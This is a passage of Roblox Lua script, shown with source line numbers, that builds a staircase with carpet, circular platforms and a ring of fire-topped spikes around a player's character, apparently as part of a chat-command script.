        local SeccondaryCFrame = Speaker.Character.Torso.CFrame
4854
            * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
4855
            + Speaker.Character.Torso.CFrame.lookVector*3
4856
        if CFrame == nil then return end    
4857
        coroutine.resume(coroutine.create(function()
4858
       
4859
            for i=1,25 do
4860
                wait()
4861
                local Step = Instance.new("Part",Main)
4862
                Step.FormFactor = "Custom"
4863
                Step.Name = "Step"
4864
                Step.Anchored = true
4865
                Step.Locked = true
4866
                Step.Reflectance = 0
4867
                Step.TopSurface = "Smooth"
4868
                Step.BottomSurface = "Smooth"
4869
                Step.BrickColor = BrickColor.new(SeccondaryColor)
4870
                Step.Size = Vector3.new(6,1,3)
4871
                Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
4872
                Instance.new("BlockMesh",Step)
4873
               
4874
                local Carpet = Instance.new("Part",Main)
4875
                Carpet.FormFactor = "Custom"
4876
                Carpet.Name = "Carpet"
4877
                Carpet.Anchored = true
4878
                Carpet.Locked = true
4879
                Carpet.Reflectance = 0
4880
                Carpet.TopSurface = "Smooth"
4881
                Carpet.BottomSurface = "Smooth"
4882
                Carpet.BrickColor = BrickColor.new(MainColor)
4883
                Carpet.Size = Vector3.new(4,1,3.2)
4884
                Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
4885
                Instance.new("BlockMesh",Carpet)  
4886
            end    
4887
            local MainCirc = Instance.new("Part",Main)
4888
            MainCirc.FormFactor = "Custom"
4889
            MainCirc.Name = "MainCirc"
4890
            MainCirc.Anchored = true
4891
            MainCirc.Locked = true
4892
            MainCirc.Reflectance = 0
4893
            MainCirc.TopSurface = "Smooth"
4894
            MainCirc.BottomSurface = "Smooth"
4895
            MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
4896
            MainCirc.Size = Vector3.new(20,1,20)
4897
            MainCirc.CFrame = SeccondaryCFrame
4898
            Instance.new("CylinderMesh",MainCirc)
4899
           
4900
            local SeccondaryCirc = Instance.new("Part",Main)
4901
            SeccondaryCirc.FormFactor = "Custom"
4902
            SeccondaryCirc.Name = "SeccondaryCirc"
4903
            SeccondaryCirc.Anchored = true
4904
            SeccondaryCirc.Locked = true
4905
            SeccondaryCirc.Reflectance = 0
4906
            SeccondaryCirc.TopSurface = "Smooth"
4907
            SeccondaryCirc.BottomSurface = "Smooth"
4908
            SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
4909
            SeccondaryCirc.Size = Vector3.new(18,1,18)
4910
            SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
4911
            Instance.new("CylinderMesh",SeccondaryCirc)
4912
            for i=1,math.floor(360/6) do
4913
                local Spike = Instance.new("Part",Main)
4914
                Spike.FormFactor = "Custom"
4915
                Spike.Name = "Spike"
4916
                Spike.Anchored = true
4917
                Spike.Locked = true
4918
                Spike.Reflectance = 0
4919
                Spike.TopSurface = "Smooth"
4920
                Spike.BottomSurface = "Smooth"
4921
                Spike.BrickColor = BrickColor.new(MainColor)
4922
                Spike.Size = Vector3.new(1,7,1)
4923
                Spike.CFrame = SeccondaryCFrame
4924
                    * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
4925
                    * CFrame.new(7,-7,0)
4926
                Torch = Instance.new("Part",Main)
4927
                Torch.Reflectance = 1e+999
4928
                Torch.FormFactor = "Custom"
4929
                Torch.Shape = "Ball"
4930
                Torch.Anchored = true
4931
                Torch.Locked = true
4932
                Torch.Size = Vector3.new(2,2,2)
4933
                Torch.CFrame = Spike.CFrame
4934
                    * CFrame.new(0,3.5,0)
4935
                    * CFrame.Angles(0,0,0)
4936
                Instance.new("Fire",Torch)
4937
            end
4938
        end))
4939
    end
4940
)